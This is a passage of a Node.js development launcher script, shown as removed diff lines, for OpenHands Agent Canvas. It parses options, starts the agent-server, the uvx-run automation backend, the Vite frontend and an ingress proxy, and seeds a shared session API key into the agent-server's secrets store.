Automation │ - * │ :3001 │ │ (uvx) :18000 │ │ Backend (uvx) │ - * │ │ │ │ │ :18001 │ - * └─────────────┘ └───────────────┘ └──────────────────┘ - * - * Usage: - * node scripts/dev-with-automation.mjs - * node scripts/dev-with-automation.mjs --automation-ref feat/my-branch - * node scripts/dev-with-automation.mjs --port 12000 - * - * Environment variables: - * - PORT: Ingress port (default: 8000) - * - OH_AUTOMATION_GIT_REF: Git ref for automation (default: main) - * - OH_AGENT_SERVER_LOCAL_PATH: Absolute path to a local software-agent-sdk - * checkout. Highest precedence for agent-server source selection: rebuilds - * the agent-server from local source and installs openhands-sdk, - * openhands-tools and openhands-workspace as editable so source edits are - * picked up without manual reinstall. - * - OH_AGENT_SERVER_GIT_REF: Git ref for agent-server - * Secrets: - * The session API key is automatically seeded into agent-server secrets - * as OPENHANDS_AUTOMATION_API_KEY, making it available to agents in conversations. - * Both the agent-server and automation backend use the same key value - * and the same `X-Session-API-Key` header for authentication. - * AUTOMATION_KV_SECRET is derived from the session key if not set explicitly, - * enabling the KV store out of the box for local development. - */ - -import { spawn, spawnSync } from "node:child_process"; -import { mkdirSync, existsSync, readFileSync } from "node:fs"; -import { join, resolve, dirname } from "node:path"; -import { fileURLToPath, pathToFileURL } from "node:url"; -import { homedir } from "node:os"; -import { setTimeout as delay } from "node:timers/promises"; -import process from "node:process"; - -import { - assertPortsFree, - buildAgentServerCommand, - buildSafeDevConfig, - buildAgentServerEnv, - buildNpmScriptCommand, - buildRuntimeServicesInfo, - formatMissingUvxGuidance, - validateFrontendDependencies, - validateLocalAgentServerPath, -} from "./dev-safe.mjs"; -import { - createShutdownHookRegistry, - getProcessTreeSpawnOptions, - isProcessRunning, - resolveWindowsCommand, - signalProcessTree, -} from "./dev-process-utils.mjs"; -import { fileLog, stripAnsi } from "./logger.mjs"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const projectRoot = resolve(__dirname, ".."); - -// ── Centralized config (single source of truth for versions, ports, etc.) ─── -const SHARED_DEFAULTS = JSON.parse( - readFileSync(join(projectRoot, "config", "defaults.json"), "utf-8"), -); - -const DEFAULT_AUTOMATION_REPO = "https://github.com/OpenHands/automation"; -const DEFAULT_AUTOMATION_PACKAGE = SHARED_DEFAULTS.packages.automation; -const DEFAULT_AUTOMATION_VERSION = SHARED_DEFAULTS.versions.automation; -const DEFAULT_AUTOMATION_SDK_VERSION = SHARED_DEFAULTS.versions.agentServer; -const DEFAULT_BACKEND_PORT = SHARED_DEFAULTS.ports.agentServer; -const DEFAULT_AUTOMATION_PORT = SHARED_DEFAULTS.ports.automation; -const DEFAULT_POSTHOG_API_KEY = SHARED_DEFAULTS.telemetry.posthogApiKey; -const DEFAULT_POSTHOG_HOST = SHARED_DEFAULTS.telemetry.posthogHost; - -// ═══════════════════════════════════════════════════════════════════════════ -// Terminal Styling -// ═══════════════════════════════════════════════════════════════════════════ - -const c = { - reset: "\x1b[0m", - bold: "\x1b[1m", - dim: "\x1b[2m", - red: "\x1b[31m", - green: "\x1b[32m", - yellow: "\x1b[33m", - blue: "\x1b[34m", - magenta: "\x1b[35m", - cyan: "\x1b[36m", -}; - -function logService(name, message, color = c.reset) { - const ts = new Date().toISOString().split("T")[1].split(".")[0]; - console.log(`${c.dim}${ts}${c.reset} ${color}[${name}]${c.reset} ${message}`); - fileLog("info", `[${name}] ${stripAnsi(message)}`); -} - -function logStep(step, message) { - console.log(`${c.cyan}[${step}]${c.reset} ${message}`); - fileLog("info", `[${step}] ${message}`); -} - -function logSuccess(message) { - console.log(`${c.green}✓${c.reset} ${message}`); - fileLog("info", `✓ ${message}`); -} - -function logError(message) { - console.error(`${c.red}✗${c.reset} ${message}`); - fileLog("error", `✗ ${stripAnsi(message)}`); -} - -/** - * Parse one JSON log line produced by the SDK's JsonFormatter and return a - * single-line human-readable string + an appropriate ANSI color. - * - * Returns null for non-JSON lines so callers can fall back to the raw text. - * - * @param {string} rawLine - * @returns {{ text: string; color: string } | null} - */ -function parseAgentServerLogLine(rawLine) { - try { - const obj = JSON.parse(rawLine); - if (!obj.levelname || obj.message === undefined) return null; - const level = obj.levelname.padEnd(8); - const location = - obj.filename && obj.lineno ? ` ${obj.filename}:${obj.lineno}` : ""; - const text = `${level} ${obj.message}${location}`; - const lvl = obj.levelname; - const color = - lvl === "DEBUG" - ? c.dim - : lvl === "WARNING" - ? c.yellow - : lvl === "ERROR" || lvl === "CRITICAL" - ? c.red - : c.blue; - return { text, color }; - } catch { - return null; - } -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Configuration -// ═══════════════════════════════════════════════════════════════════════════ - -function parseArgs() { - const args = process.argv.slice(2); - const config = { - port: null, - automationGitRef: null, - automationRepo: null, - verbose: false, - static: false, - dynamic: false, - staticDir: null, - skipBuild: false, - public: false, - frontendOnly: false, - backendOnly: false, - }; - - for (let i = 0; i < args.length; i++) { - switch (args[i]) { - case "-p": - case "--port": - config.port = parseInt(args[++i], 10); - break; - case "--automation-ref": - config.automationGitRef = args[++i]; - break; - case "--automation-repo": - config.automationRepo = args[++i]; - break; - case "-v": - case "--verbose": - config.verbose = true; - break; - case "--static": - config.static = true; - break; - case "--dynamic": - config.dynamic = true; - break; - case "--static-dir": - config.staticDir = args[++i]; - break; - case "--skip-build": - config.skipBuild = true; - break; - case "--public": - config.public = true; - break; - case "--frontend-only": - config.frontendOnly = true; - break; - case "--backend-only": - config.backendOnly = true; - break; - case "-h": - case "--help": - showHelp(); - process.exit(0); - } - } - - return config; -} - -function showHelp() { - console.log(` -Agent Canvas + Automation Development Stack - -Runs agent-canvas with the automation backend (via uvx, no clone needed). -Uses a standalone ingress proxy to route traffic. - -USAGE: - node scripts/dev-with-automation.mjs [options] - -OPTIONS: - -p, --port Ingress port (default: 8000) - --automation-ref Git ref for automation (branch/tag/SHA) - --automation-repo Git repo URL (default: ${DEFAULT_AUTOMATION_REPO}) - --static Serve an existing production build instead of Vite - --static-dir Static build directory (default: build/) - --skip-build Reuse build/ when the launcher builds static assets - --dynamic Force Vite dev server when a wrapper defaults static - --frontend-only Start only the frontend behind ingress - --backend-only Start only agent-server + automation behind ingress - -v, --verbose Show detailed output - -h, --help Show this help - -ENVIRONMENT VARIABLES: - PORT Alternative to --port - OH_AUTOMATION_GIT_REF Git ref for automation (overrides default version) - OH_AUTOMATION_VERSION Specific PyPI version for automation (default: ${DEFAULT_AUTOMATION_VERSION}) - OH_AGENT_SERVER_LOCAL_PATH Absolute path to a local software-agent-sdk checkout (highest precedence) - OH_AGENT_SERVER_GIT_REF Git ref for agent-server SDK (overrides default version) - OH_AGENT_SERVER_VERSION Specific PyPI version for agent-server - OH_SECRET_KEY Secret key for sessions - -SECRETS: - The session API key is automatically seeded into agent-server secrets - as OPENHANDS_AUTOMATION_API_KEY, making it available to agents in conversations. - Both backends (agent-server and automation) share the same key value. - AUTOMATION_KV_SECRET defaults to the session key so the KV store works - out of the box; override with an explicit value for stronger isolation. - -ACCESS POINTS: - Main UI: http://localhost:PORT/ - API Docs: http://localhost:PORT/api/automation/docs -`); -} - -/** - * Build the uvx command for running automation backend. - * - * Environment variables (highest precedence first): - * - OH_AUTOMATION_GIT_REF: Git commit SHA or branch name - * - OH_AUTOMATION_VERSION: Specific PyPI version (e.g., "1.0.0a1") - * - * If none are set, defaults to the released version specified by - * DEFAULT_AUTOMATION_VERSION. Set OH_AUTOMATION_GIT_REF to use a - * git branch or commit instead. - */ -function buildAutomationCommand(env = process.env) { - const gitRef = env.OH_AUTOMATION_GIT_REF; - const version = env.OH_AUTOMATION_VERSION; - const repoUrl = env.OH_AUTOMATION_REPO || DEFAULT_AUTOMATION_REPO; - - const uvxArgs = []; - let source = ""; - - if (gitRef) { - // Use git ref - refresh to ensure latest commit is fetched - const gitUrl = `git+${repoUrl}@${gitRef}`; - uvxArgs.push( - "--refresh", - "--from", - gitUrl, - "uvicorn", - "openhands.automation.app:app", - ); - source = `git (${gitRef})`; - } else if (version) { - // Use specific PyPI version - uvxArgs.push( - "--from", - `${DEFAULT_AUTOMATION_PACKAGE}==${version}`, - "uvicorn", - "openhands.automation.app:app", - ); - source = `PyPI (${version})`; - } else { - // Default to released PyPI version - uvxArgs.push( - "--from", - `${DEFAULT_AUTOMATION_PACKAGE}==${DEFAULT_AUTOMATION_VERSION}`, - "uvicorn", - "openhands.automation.app:app", - ); - source = `PyPI (${DEFAULT_AUTOMATION_VERSION}, default)`; - } - - return { - command: "uvx", - args: uvxArgs, - source, - }; -} - -async function buildConfig(args, env = process.env) { - // Apply args to env for buildAutomationCommand - if (args.automationGitRef) { - env.OH_AUTOMATION_GIT_REF = args.automationGitRef; - } - if (args.automationRepo) { - env.OH_AUTOMATION_REPO = args.automationRepo; - } - - const frontendOnly = Boolean(args.frontendOnly); - const backendOnly = Boolean(args.backendOnly); - if (frontendOnly && backendOnly) { - throw new Error( - "--frontend-only and --backend-only cannot be used together", - ); - } - - const launchFrontend = !backendOnly; - const launchAgentServer = !frontendOnly; - const launchAutomation = !frontendOnly; - const isPublic = args.public; - - if (isPublic && frontendOnly) { - throw new Error("--public cannot be used with --frontend-only"); - } - - // In public mode, LOCAL_BACKEND_API_KEY is required — without it the - // auth screen has nothing to validate against. - if (isPublic && !env.LOCAL_BACKEND_API_KEY) { - logError( - "PUBLIC MODE requires LOCAL_BACKEND_API_KEY environment variable.\n" + - " Example: LOCAL_BACKEND_API_KEY=my-secret npm run dev -- --public", - ); - process.exit(1); - } - - // Preferred ports (from env or defaults). - // OH_CANVAS_SAFE_BACKEND_PORT / OH_CANVAS_SAFE_AUTOMATION_PORT / - // OH_CANVAS_SAFE_VITE_PORT allow tests (and advanced users) to redirect - // internal service ports without affecting the production default. - const preferredIngressPort = args.port || parseInt(env.PORT, 10) || 8000; - const preferredBackendPort = - parseInt(env.OH_CANVAS_SAFE_BACKEND_PORT, 10) || DEFAULT_BACKEND_PORT; - const preferredAutomationPort = - parseInt(env.OH_CANVAS_SAFE_AUTOMATION_PORT, 10) || DEFAULT_AUTOMATION_PORT; - const preferredVitePort = parseInt(env.OH_CANVAS_SAFE_VITE_PORT, 10) || 3001; - - // Fail fast if any preferred port for a service in this mode is already in use. - const requiredPorts = [{ name: "ingress", port: preferredIngressPort }]; - if (launchAgentServer) { - requiredPorts.push({ name: "agent-server", port: preferredBackendPort }); - } - if (launchAutomation) { - requiredPorts.push({ name: "automation", port: preferredAutomationPort }); - } - if (launchFrontend) { - requiredPorts.push({ name: "frontend", port: preferredVitePort }); - } - - logStep("ports", "Checking ports..."); - await assertPortsFree(requiredPorts); - - const vscodePort = preferredBackendPort + 1000; - - // API key — shared by both agent-server and automation backend. - // Both validate it via the `X-Session-API-Key` header. - // LOCAL_BACKEND_API_KEY is the single user-facing env var: if set it's - // used directly; otherwise one is auto-generated and persisted. - const stateDir = - env.OH_CANVAS_SAFE_STATE_DIR || - join(homedir(), ".openhands", "agent-canvas"); - - const safeConfig = buildSafeDevConfig(projectRoot, { - ...env, - OH_CANVAS_SAFE_STATE_DIR: stateDir, - OH_CANVAS_SAFE_BACKEND_PORT: preferredBackendPort.toString(), - OH_CANVAS_SAFE_VSCODE_PORT: vscodePort.toString(), - }); - const sessionApiKey = safeConfig.sessionApiKey; - - if (isPublic) { - logService( - "auth", - "PUBLIC MODE — key will NOT be injected into the frontend", - c.yellow, - ); - logService( - "auth", - "Users must paste the LOCAL_BACKEND_API_KEY in the browser", - c.dim, - ); - } - - return { - // Ingress port (main entry point) - ingressPort: preferredIngressPort, - - // Service ports (internal) - agentServerPort: preferredBackendPort, - autoBackendPort: preferredAutomationPort, - vitePort: preferredVitePort, - vscodePort, - - // Paths - canvasPath: projectRoot, - - // Data directories (same as dev-safe.mjs) - stateDir, - // Only bake the host-side workspace path when this launcher also starts - // the agent-server that can read it. In frontend-only mode the backend may - // be a tunnel/remote service, so leave VITE_WORKING_DIR unset unless the - // user explicitly supplied a backend-relative value. - viteWorkingDir: launchAgentServer - ? safeConfig.workingDir - : env.VITE_WORKING_DIR, - - // Auth — single key for both backends - sessionApiKey, - - // Public mode — the session key should NOT be baked into the frontend - isPublic, - - frontendOnly, - backendOnly, - launchFrontend, - launchAgentServer, - launchAutomation, - - verbose: args.verbose, - }; -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Prerequisites & Setup -// ═══════════════════════════════════════════════════════════════════════════ - -function commandExists(cmd) { - const result = - process.platform === "win32" - ? spawnSync("where.exe", [cmd], { stdio: "pipe" }) - : spawnSync("sh", ["-c", `command -v ${cmd}`], { stdio: "pipe" }); - - return result.status === 0; -} - -function checkPrerequisites({ - checkUvx = true, - checkNpm = true, - checkFrontendDependencies = true, -} = {}) { - logStep("1/2", "Checking prerequisites..."); - - if (checkUvx) { - if (!commandExists("uvx")) { - const uvxGuidance = formatMissingUvxGuidance(projectRoot); - console.error(uvxGuidance); - fileLog("error", stripAnsi(uvxGuidance)); - process.exit(1); - } - logSuccess("uvx found"); - } - - if (checkNpm) { - if (!commandExists("npm")) { - logError("npm is required but not found"); - process.exit(1); - } - logSuccess("npm found"); - } - - if (checkFrontendDependencies) { - try { - validateFrontendDependencies(projectRoot); - } catch (error) { - logError(error instanceof Error ? error.message : String(error)); - process.exit(1); - } - logSuccess("frontend dependencies found"); - } -} - -function ensureDirectories(config) { - const dirs = [ - config.stateDir, - // Both agent-server and automation use storage; create it unconditionally - // whenever either backend service runs (i.e. not frontend-only). - ...(!config.frontendOnly ? [join(config.stateDir, "storage")] : []), - ]; - - if (config.launchAgentServer) { - dirs.push( - join(config.stateDir, "dev_conversations"), - join(config.stateDir, "workspaces"), - join(config.stateDir, "bash_events"), - ); - } - - if (config.launchAutomation) { - dirs.push( - // Automation DB directory — matches docker/entrypoint.sh mkdir -p behaviour. - dirname( - join(dirname(config.stateDir), SHARED_DEFAULTS.paths.automationDb), - ), - ); - } - - for (const dir of dirs) { - mkdirSync(dir, { recursive: true }); - } -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Process Management -// ═══════════════════════════════════════════════════════════════════════════ - -const processes = new Map(); -const shutdownHooks = createShutdownHookRegistry((err) => { - logService("cleanup", `Cleanup hook failed: ${err.message}`, c.yellow); -}); - -// Optional external listener for every service log line. Set by `main()` from -// its `onServiceLog` option so embedded launchers (e.g. the Electron desktop -// app) can stream uvx download / install progress to their loading window -// without touching the terminal logging path. Receives `(name, line, level)` -// where `level` is one of "stdout" | "stderr" | "info" | "warn" | "error". -let serviceLogListener = null; - -export function setServiceLogListener(listener) { - serviceLogListener = typeof listener === "function" ? listener : null; -} - -function emitServiceLog(name, line, level) { - if (!serviceLogListener) return; - try { - serviceLogListener(name, line, level); - } catch { - // Never let a listener bug crash the dev stack. - } -} - -function registerShutdownHook(hook) { - return shutdownHooks.add(hook); -} - -function spawnService(name, command, args, options = {}) { - const proc = spawn( - resolveWindowsCommand(command), - args, - getProcessTreeSpawnOptions({ - stdio: ["ignore", "pipe", "pipe"], - env: { ...process.env, ...options.env }, - cwd: options.cwd, - }), - ); - - const color = options.color || c.reset; - const parseLogLine = options.parseLogLine; - - proc.stdout.on("data", (data) => { - data - .toString() - .split("\n") - .filter(Boolean) - .forEach((line) => { - const trimmed = line.trim(); - const parsed = parseLogLine ? parseLogLine(trimmed) : null; - logService( - name, - parsed ? parsed.text : trimmed, - parsed ? parsed.color : color, - ); - emitServiceLog(name, trimmed, "stdout"); - }); - }); - - proc.stderr.on("data", (data) => { - data - .toString() - .split("\n") - .filter(Boolean) - .forEach((line) => { - const trimmed = line.trim(); - const parsed = parseLogLine ? parseLogLine(trimmed) : null; - logService( - name, - parsed ? parsed.text : trimmed, - parsed ? parsed.color : c.yellow, - ); - emitServiceLog(name, trimmed, "stderr"); - }); - }); - - proc.on("error", (error) => { - logError(`${name} failed to start: ${error.message}`); - emitServiceLog(name, `failed to start: ${error.message}`, "error"); - }); - - proc.on("exit", (code, _signal) => { - if (code !== 0 && code !== null && !shuttingDown) { - logService(name, `Exited with code ${code}`, c.red); - emitServiceLog(name, `exited with code ${code}`, "error"); - } - processes.delete(name); - }); - - processes.set(name, proc); - return proc; -} - -async function waitForService(name, url, timeoutMs = 30000) { - const start = Date.now(); - let lastError = null; - - while (Date.now() - start < timeoutMs) { - try { - const res = await fetch(url, { signal: AbortSignal.timeout(5000) }); - if (res.ok) { - logService(name, `Ready at ${url}`, c.green); - return true; - } - } catch (err) { - lastError = err; - // Keep trying - } - await delay(500); - } - - const elapsed = Math.round((Date.now() - start) / 1000); - logService(name, `Timeout waiting for ${url} after ${elapsed}s`, c.red); - if (lastError) { - logService(name, `Last error: ${lastError.message}`, c.dim); - } - return false; -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Service Starters -// ═══════════════════════════════════════════════════════════════════════════ - -const AUTOMATION_ROUTE_PREFIX = "/api/automation"; -const AGENT_SERVER_ROUTE_PREFIXES = [ - "/api", - "/sockets", - "/server_info", - "/health", - "/ready", - "/alive", - "/docs", - "/redoc", - "/openapi.json", -]; - -function getLocalServiceRoutes(config) { - const routes = []; - - if (config.launchAutomation) { - routes.push([ - AUTOMATION_ROUTE_PREFIX, - `http://localhost:${config.autoBackendPort}`, - ]); - } - - if (config.launchAgentServer) { - for (const prefix of AGENT_SERVER_ROUTE_PREFIXES) { - routes.push([prefix, `http://localhost:${config.agentServerPort}`]); - } - } - - return routes; -} - -function buildRouteArgs(routes) { - return routes.flatMap(([prefix, url]) => ["--route", `${prefix}=${url}`]); -} - -/** - * Build --reject-prefix args for the static server. - * In frontend-only mode, API paths that have no backend should return 503 - * instead of being SPA-fallbacked to index.html. - */ -function getRejectPrefixes(config) { - const prefixes = []; - if (!config.launchAutomation) { - prefixes.push(AUTOMATION_ROUTE_PREFIX); - } - if (!config.launchAgentServer) { - for (const prefix of AGENT_SERVER_ROUTE_PREFIXES) { - prefixes.push(prefix); - } - } - return prefixes; -} - -function buildRejectPrefixArgs(prefixes) { - return prefixes.flatMap((prefix) => ["--reject-prefix", prefix]); -} - -function getFrontendBackend(config) { - return config.launchFrontend ? `http://localhost:${config.vitePort}` : null; -} - -function buildViteBackendEnv(config, env = process.env) { - const backendBaseUrl = config.launchAgentServer - ? `http://127.0.0.1:${config.ingressPort}` - : (env.VITE_BACKEND_BASE_URL ?? "http://127.0.0.1:8000"); - const backendHost = config.launchAgentServer - ? `127.0.0.1:${config.ingressPort}` - : (env.VITE_BACKEND_HOST ?? new URL(backendBaseUrl).host); - - return { - VITE_BACKEND_HOST: backendHost, - VITE_BACKEND_BASE_URL: backendBaseUrl, - }; -} - -function buildAgentServerAutomationEnv(config) { - return { - // Make the session API key available to terminal commands spawned by the - // agent-server as OPENHANDS_AUTOMATION_API_KEY. The launcher also seeds - // this into Settings > Secrets, but agents commonly create automations - // with a curl command that references `$OPENHANDS_AUTOMATION_API_KEY`; - // exposing it here keeps that path working even before/without - // secret-registry env expansion. - OPENHANDS_AUTOMATION_API_KEY: config.sessionApiKey, - }; -} - -function buildAutomationTelemetryEnv(env = process.env) { - const telemetryDisabled = env.VITE_DO_NOT_TRACK === "1"; - const apiKey = - env.AUTOMATION_POSTHOG_API_KEY || - env.VITE_POSTHOG_API_KEY || - (telemetryDisabled ? "" : DEFAULT_POSTHOG_API_KEY); - - if (!apiKey) return {}; - - return { - AUTOMATION_POSTHOG_API_KEY: apiKey, - AUTOMATION_POSTHOG_HOST: - env.AUTOMATION_POSTHOG_HOST || - env.VITE_POSTHOG_HOST || - DEFAULT_POSTHOG_HOST, - }; -} - -function startAgentServer(config) { - logService( - "agent-server", - `Starting on port ${config.agentServerPort}...`, - c.blue, - ); - - const agentServerCmd = buildAgentServerCommand(process.env); - logService("agent-server", `Using ${agentServerCmd.source}`, c.dim); - - // Build safe config for agent-server env vars - const safeConfig = buildSafeDevConfig(config.canvasPath, { - ...process.env, - OH_CANVAS_SAFE_STATE_DIR: config.stateDir, - OH_CANVAS_SAFE_BACKEND_PORT: config.agentServerPort.toString(), - OH_CANVAS_SAFE_VSCODE_PORT: config.vscodePort.toString(), - }); - - const agentServerEnv = { - ...buildAgentServerEnv(safeConfig), - ...buildAgentServerAutomationEnv(config), - OPENHANDS_REMOTE_WS_READY_REQUIRED: - process.env.OPENHANDS_REMOTE_WS_READY_REQUIRED || "false", - // Ensure the agent-server uses the resolved key from config. This is - // LOCAL_BACKEND_API_KEY when set, or the auto-generated persisted key. - OH_SESSION_API_KEYS_0: config.sessionApiKey, - // Emit structured JSON log lines instead of Rich-formatted output. - // Rich wraps long messages across multiple lines and prepends its own - // timestamp; LOG_JSON=true produces one JSON object per record which - // parseAgentServerLogLine re-formats into a clean single-line entry. - LOG_JSON: "true", - }; - - spawnService( - "agent-server", - agentServerCmd.command, - [ - ...agentServerCmd.args, - "--host", - "127.0.0.1", - "--port", - String(config.agentServerPort), - ], - { - cwd: safeConfig.workspacesPath, - env: agentServerEnv, - color: c.blue, - parseLogLine: parseAgentServerLogLine, - }, - ); -} - -function startAutomationBackend(config) { - logService( - "automation", - `Starting on port ${config.autoBackendPort}...`, - c.green, - ); - - const automationCmd = buildAutomationCommand(process.env); - logService("automation", `Using ${automationCmd.source}`, c.dim); - - spawnService( - "automation", - automationCmd.command, - [ - ...automationCmd.args, - "--host", - "127.0.0.1", - "--port", - config.autoBackendPort.toString(), - ], - { - cwd: config.stateDir, - env: { - // Force UTF-8 for all Python file I/O (same reason as agent-server; - // see buildAgentServerEnv in dev-safe.mjs). - PYTHONUTF8: "1", - OPENHANDS_REMOTE_WS_READY_REQUIRED: - process.env.OPENHANDS_REMOTE_WS_READY_REQUIRED || "false", - // The URL the automation backend itself uses to call the - // agent-server's REST API (tarball upload + bash dispatch). - // - // Priority: - // 1. AUTOMATION_AGENT_SERVER_URL explicitly set in the user's env - // 2. `localhost:` - AUTOMATION_AGENT_SERVER_URL: - process.env.AUTOMATION_AGENT_SERVER_URL || - `http://localhost:${config.agentServerPort}`, - // The URL exported into the in-sandbox bash chain as - // `AGENT_SERVER_URL` (read by main.py / setup.sh to call back into - // the agent-server). - // - // Priority: - // 1. AUTOMATION_SANDBOX_AGENT_SERVER_URL explicitly set in env - // 2. launcher-provided value - // 3. unset — backend falls back to AUTOMATION_AGENT_SERVER_URL - ...(process.env.AUTOMATION_SANDBOX_AGENT_SERVER_URL || - config.sandboxAgentServerUrl - ? { - AUTOMATION_SANDBOX_AGENT_SERVER_URL: - process.env.AUTOMATION_SANDBOX_AGENT_SERVER_URL || - config.sandboxAgentServerUrl, - } - : {}), - AUTOMATION_AGENT_SERVER_API_KEY: config.sessionApiKey, - // ~/.openhands/automation/automations.db — matches docker/entrypoint.sh. - AUTOMATION_DB_URL: `sqlite+aiosqlite:///${join(dirname(config.stateDir), SHARED_DEFAULTS.paths.automationDb)}`, - // The automation backend uses this as its publicly-reachable base - // URL: it's appended to callback URLs and injected into each - // sandbox as `AUTOMATION_API_URL` (consumed by setup.sh for - // /sdk-version and by the SDK for run completion). - // Priority: - // 1. AUTOMATION_BASE_URL explicitly set in the user's env - // 2. launcher-provided host - // 3. `localhost` - AUTOMATION_BASE_URL: - process.env.AUTOMATION_BASE_URL || - `http://${config.automationApiHost ?? "localhost"}:${config.ingressPort}`, - // The dispatcher resolves this path and embeds it into a - // `mkdir -p ...` shell command executed by the agent-server. - // Priority: - // 1. AUTOMATION_WORKSPACE_BASE explicitly set in the user's env - // 2. `automationWorkspaceBase` option passed by the launcher - // 3. host-side default under config.stateDir - AUTOMATION_WORKSPACE_BASE: - process.env.AUTOMATION_WORKSPACE_BASE || - config.automationWorkspaceBase || - join(config.stateDir, "workspaces"), - // Session API key for self-hosted auth — shared with agent-server via X-Session-API-Key header - AUTOMATION_LOCAL_API_KEY: config.sessionApiKey, - ...buildAutomationTelemetryEnv(), - // KV store secret — required for automations to use the built-in - // key-value store for state persistence between runs. Used for JWT - // signing and value encryption. - // Priority: - // 1. AUTOMATION_KV_SECRET explicitly set in the user's env - // 2. sessionApiKey — convenient zero-config default for local dev - AUTOMATION_KV_SECRET: - process.env.AUTOMATION_KV_SECRET || config.sessionApiKey, - // CORS: allow localhost origins for dev, unless explicitly overridden. - AUTOMATION_CORS_ORIGINS: - process.env.AUTOMATION_CORS_ORIGINS || - `http://localhost:${config.ingressPort},http://127.0.0.1:${config.ingressPort},http://localhost:3001,http://127.0.0.1:3001`, - FILE_STORE: "local", - LOCAL_STORAGE_PATH: join(config.stateDir, "storage"), - OPENHANDS_SUPPRESS_BANNER: "1", - }, - color: c.green, - }, - ); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Main -// ═══════════════════════════════════════════════════════════════════════════ - -let shuttingDown = false; - -function shutdown() { - if (shuttingDown) return; - shuttingDown = true; - - console.log(""); - console.log(`${c.yellow}Shutting down...${c.reset}`); - fileLog("info", "Shutting down..."); - - for (const [name, proc] of processes) { - logService(name, "Stopping...", c.dim); - signalProcessTree(proc, "SIGTERM"); - } - - setTimeout(() => { - for (const [name, proc] of processes) { - if (isProcessRunning(proc)) { - logService(name, "Force stopping...", c.dim); - signalProcessTree(proc, "SIGKILL"); - } - } - shutdownHooks.run(); - process.exit(0); - }, 3000); -} - -process.on("SIGINT", shutdown); -process.on("SIGTERM", shutdown); - -function startIngress(config) { - logService("ingress", `Starting on port ${config.ingressPort}...`, c.yellow); - - const ingressScript = join(projectRoot, "scripts", "ingress.mjs"); - const frontendBackend = getFrontendBackend(config); - - spawnService( - "ingress", - "node", - [ - ingressScript, - "--port", - config.ingressPort.toString(), - ...buildRouteArgs(getLocalServiceRoutes(config)), - ...(frontendBackend ? ["--default", frontendBackend] : []), - ], - { - cwd: projectRoot, - color: c.yellow, - }, - ); -} - -/** - * Build the JSON-serializable runtime services info for an automation - * stack. Used by both the Vite dev server (dev mode) and static-build.mjs - * (static mode) so the frontend can populate the agent's - * `` system-prompt block. - */ -export function buildAutomationRuntimeServicesInfo(config) { - return buildRuntimeServicesInfo({ - mode: config.mode ?? "dev:automation", - agentHostAlias: config.agentHostAlias ?? "localhost", - agentServerPort: config.agentServerPort, - ingressPort: config.ingressPort, - frontendPort: config.launchFrontend ? config.vitePort : undefined, - // The same port hosts Vite in dynamic mode and a static-file server - // in static mode. The launcher records this on the config so the - // description shown to the agent matches reality. - frontendKind: config.frontendKind ?? "vite", - automation: config.launchAutomation - ? { port: config.autoBackendPort } - : undefined, - }); -} - -function startVite(config) { - logService("vite", `Starting on port ${config.vitePort}...`, c.magenta); - - const frontendCommand = buildNpmScriptCommand("dev:frontend"); - const runtimeServicesInfo = config.launchAgentServer - ? buildAutomationRuntimeServicesInfo(config) - : null; - - const viteEnv = { - // Full-stack mode points Vite at this launcher's ingress. Frontend-only - // mode uses the separately running backend ingress instead. - ...buildViteBackendEnv(config), - VITE_FRONTEND_PORT: config.vitePort.toString(), - }; - if (config.viteWorkingDir) { - viteEnv.VITE_WORKING_DIR = config.viteWorkingDir; - } - - if (runtimeServicesInfo) { - // Inform the frontend (and downstream, the agent's system prompt) about - // which services are available in this dev stack. - viteEnv.VITE_RUNTIME_SERVICES_INFO = JSON.stringify(runtimeServicesInfo); - } - - // In local mode, bake the session key into the frontend so the user - // never has to paste it. In public mode, omit the key and set - // VITE_AUTH_REQUIRED so the frontend shows the API key entry screen - // immediately (no network round-trip needed). - if (config.launchAgentServer && config.isPublic) { - viteEnv.VITE_AUTH_REQUIRED = "true"; - } else if (config.launchAgentServer) { - viteEnv.VITE_SESSION_API_KEY = config.sessionApiKey; - } - - spawnService("vite", frontendCommand.command, frontendCommand.args, { - cwd: config.canvasPath, - env: viteEnv, - color: c.magenta, - }); -} - -/** - * Seed the session API key into agent-server's secrets store as - * OPENHANDS_AUTOMATION_API_KEY so agents can authenticate with the - * automation backend in curl commands during conversations. - * - * Includes retry logic to handle slow server startup or transient failures. - * - * @param {object} config - Configuration object with agentServerPort, sessionApiKey - * @param {object} options - Options for retry behavior - * @param {number} options.maxRetries - Maximum number of retry attempts (default: 5) - * @param {number} options.retryDelayMs - Delay between retries in ms (default: 2000) - * @param {number} options.timeoutMs - Request timeout in ms (default: 10000) - * @returns {Promise} True if seeding succeeded, false otherwise - */ -async function seedAutomationSecret(config, options = {}) { - const { maxRetries = 5, retryDelayMs = 2000, timeoutMs = 10000 } = options; - - const secretName = "OPENHANDS_AUTOMATION_API_KEY"; - const secretDescription = - "API key for authenticating with the automation backend"; - - logService("secrets", `Seeding ${secretName} into agent-server...`, c.dim); - - const url = `http://localhost:${config.agentServerPort}/api/settings/secrets`; - const body = JSON.stringify({ - name: secretName, - value: config.sessionApiKey, - description: secretDescription, - }); - - const headers = { - "Content-Type": "application/json", - // Include session API key if configured - ...(config.sessionApiKey && { "X-Session-API-Key": config.sessionApiKey }), - }; - - let lastError = null; - - for (let attempt = 1; attempt <= maxRetries; attempt++) { - try { - const response = await fetch(url, { - method: "PUT", - headers, - body, - signal: AbortSignal.timeout(timeoutMs), - }); - - if (response.ok) { - logService("secrets", `${secretName} seeded successfully`, c.green); - return true; - } - - const text = await response.text(); - lastError = `HTTP ${response.status}: ${text}`; - - // Don't retry on authentication errors - they won't resolve with retries - if (response.status === 401 || response.status === 403) { - logService( - "secrets", - `Warning: Failed to seed secret (${response.status}): ${text}`, - c.yellow, - ); - return false; - } - - // Retry on server errors or service unavailable - if (attempt < maxRetries) { - logService( - "secrets", - `Retry ${attempt}/${maxRetries} after ${response.status}...`, - c.dim, - ); - await delay(retryDelayMs); - } - } catch (err) { - lastError = err.message; - - // Connection errors likely mean server isn't ready - wait and retry - if (attempt < maxRetries) { - logService( - "secrets", - `Retry ${attempt}/${maxRetries}: ${err.message}`, - c.dim, - ); - await delay(retryDelayMs); - } - } - } - - logService( - "secrets", - `Warning: Failed to seed secret after ${maxRetries} attempts: ${lastError}`, - 